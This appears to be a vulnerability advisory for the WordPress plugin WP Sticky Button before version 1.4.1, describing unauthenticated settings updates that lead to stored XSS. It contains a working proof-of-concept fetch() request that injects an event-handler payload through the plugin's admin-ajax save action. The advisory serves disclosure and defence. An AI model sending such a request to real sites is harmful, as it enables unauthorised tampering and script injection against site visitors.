WP Sticky Button < 1.4.1 - Unauthenticated Arbitrary Settings Update to Stored XSS

2022-08-0100:00:00

Krzysztof Zając

123

wp sticky button

unauthenticated

arbitrary settings

stored xss

exploit

EPSS

0.001

Percentile

21.2%

JSON

The plugin does not have authorisation and CSRF checks when saving its settings, allowing unauthenticated users to update them. Furthermore, due to the lack of escaping in some of them, it could lead to Stored Cross-Site Scripting issues

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },

  "method": "POST",
  "body": "action=okapi_wasb_save_settings&number=\" style=position:fixed;left:0;top:0;right:0;bottom:0;z-index:9999\x0conmouseover=alert`1`\x0cppp&display_on_desktop=1&activate=1",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

EPSS

0.001

Percentile

21.2%

JSON

Related for WPEX-ID:CAAB1FCA-CC6B-45BB-BD0D-F857EDD8BB81